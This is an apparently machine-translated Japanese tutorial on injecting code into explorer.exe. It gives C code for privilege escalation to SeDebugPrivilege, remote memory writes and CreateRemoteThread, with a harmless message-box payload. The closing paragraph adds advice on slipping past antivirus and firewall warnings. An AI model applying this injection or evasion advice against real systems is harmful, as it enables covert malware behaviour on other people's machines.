DLLインジェクション

DLLインジェクションにより、既に実行中のプロセスのアドレス空間でコードを実行できます。 多くの人々は、感染を使用してゲームのチートを書いたり、システムに対して悪意のあるアクションを実行したりします。 ただし、この手法は、陰湿な計画の実装に適用する必要はありませんが、たとえば、アプリケーションを更新するために必要です。



作業アルゴリズムは非常に単純です。プロセス内にストリームを作成し、そこにコードの実行を実装する必要があります。 たとえば、explorer.exeに感染し、それに関するメッセージを表示します。



必要なデータを取得するための構造を説明しましょう。

typedef FARPROC (WINAPI *LPMessageBox)(HWND, LPCWSTR, LPCWSTR, UINT);



typedef struct _InjectData {

char title[50];

char msg[50];

LPMessageBox MessageB;

} InjectData, *PInjectData;



InjectData injectData = {

"Test" ,

"" ,

NULL

};






次に、ストリームのエントリポイントについて説明します。

static DWORD WINAPI InjectionMain(LPVOID lpParams) {



PInjectData info = (PInjectData)lpParams;



info->MessageB(NULL, (LPCWSTR)info->msg, (LPCWSTR)info->title, MB_OK);

return 0;

}






この例では、非常に簡単です。 その中で、DLLをロードしませんが、ほとんどのタスクで必要になる場合がありますが、このためには、MessageBoxAの場合と同様に、LoadLibraryおよびGetProcAddress関数にポインターを渡し、それらを使用して必要なDLLをロードする必要があります。



ここで、explorer.exeにアクセスし、コード、プロセスのアドレス空間にデータを記述し、コードを実行するプロセスにスレッドを作成する必要があります。



プロセス識別子を返す関数について説明します。

DWORD getProcessID() {

DWORD processID = 0;

HANDLE snapHandle;

PROCESSENTRY32 processEntry = {0};



if ( (snapHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE ) {

return 0;

}



processEntry.dwSize = sizeof (PROCESSENTRY32);

Process32First(snapHandle, &processEntry);

do {

if ( wcscmp(processEntry.szExeFile, PROCESSNAME) == 0 ) {

return processEntry.th32ProcessID;

}

} while (Process32Next(snapHandle,&processEntry));



if ( snapHandle != INVALID_HANDLE_VALUE ) {

CloseHandle(snapHandle);

}



return 0;

}






CreateToolhelp32Snapshot-実際にプロセスとそのスレッドのリストを返します。 リスト全体を巡回し、プロセスが見つかった場合、その識別子または0を返します。識別子を取得したので、OpenProcessを使用してプロセスにアクセスできますが、そのメモリには何も書き込むことができません。 アプリケーションが権利を取得するには、次の機能が必要です。

BOOL setPrivilege(HANDLE hToken, LPCTSTR szPrivName, BOOL fEnable) {

TOKEN_PRIVILEGES tp;

tp.PrivilegeCount = 1;

LookupPrivilegeValue(NULL, szPrivName, &tp.Privileges[0].Luid);

tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;

AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof (tp), NULL, NULL);

return ((GetLastError() == ERROR_SUCCESS));

}






権利についての詳細はこちらをご覧ください 。 1998年の回答にもかかわらず、それはXP SP3と、私が知る限りWindows 7に関連していますが、私はまだ個人的にテストしていません。



これで、プロセスにアクセスするためのすべてができました。

DWORD processID = getProcessID();

HANDLE hCurrentProc = GetCurrentProcess();



if (!OpenProcessToken(hCurrentProc, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {

addLogMessage( "OpenProcessToken Error" , GetLastError());

return 0;

} else {

if (!setPrivilege(hToken, SE_DEBUG_NAME, TRUE)) {

addLogMessage( "SetPrivlegesSE_DEBUG_NAME Error" , GetLastError());

return 0;

}

}



if (processID == 0) {

MessageBox(NULL, _T( "Process not found!" ), _T( "Error" ), MB_OK | MB_ICONERROR);

return 0;

}



processHandel = OpenProcess(PROCESS_ALL_ACCESS, false , processID);






user32.dllにあるMessageBoxA関数へのポインターがありません。

HINSTANCE userHinstance = LoadLibrary(_T( "user32.dll" ));

injectData.MessageB = (LPMessageBox) GetProcAddress(userHinstance, "MessageBoxA" );






それでは、最も興味深い部分、実際の感染に移りましょう。指定されたコードとコードをメモリに書き込み、すべてを開始するストリームを作成します。 メモリを変更するには、VirtualAllocExとWriteProcessMemoryの2つの関数が必要です。

LPVOID lpProc = VirtualAllocEx(processHandel, NULL, ProcSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

LPVOID lpParams = VirtualAllocEx(processHandel, NULL, 1024, MEM_COMMIT, PAGE_READWRITE );

DWORD dwWritten;

if (WriteProcessMemory(processHandel, lpProc, InjectionMain, ProcSize, &dwWritten ) == 0) {

addLogMessage( "WriteProcessMemory error" , GetLastError());

return 0;

}

if (WriteProcessMemory( processHandel, lpParams, &injectData, sizeof (injectData), &dwWritten ) == 0) {

addLogMessage( "WriteProcessMemory error" , GetLastError());

return 0;

}






VirtualAllocEx-プロセスの仮想アドレス空間に物理メモリを提供し、WriteProcessMemoryはデータをプロセスメモリに書き込みます。



ここで、陰湿な計画を実現するプロセスでストリームを作成します。

DWORD ThreadID;

HANDLE hThread = CreateRemoteThread(processHandel, NULL, 0, (LPTHREAD_START_ROUTINE)lpProc, lpParams, 0, &ThreadID);

if (hThread == NULL) {

sprintf_s(buffer, "Error creating thread" );

addLogMessage(buffer, 1001);

}






これが全体像のソースです。Window7でテストしなかったことを繰り返しますが、動作するはずです。 確かに、新しいファイアウォールはどのように動作するのだろうか、Windows XPではメモリの変更を検出しませんでした。 この方法はウイルス対策プログラムを恐れず、メモリを変更する試みを通知するため、敵はファイアウォールにすぎません。 しかし、実践が示すように、多くの人々はそのようなメッセージをたたきます。感染するアプリケーションの名前も正常であれば、もちろんファイアウォールがパラノイドモードでない限り、上級ユーザーでもスキップします。



All Articles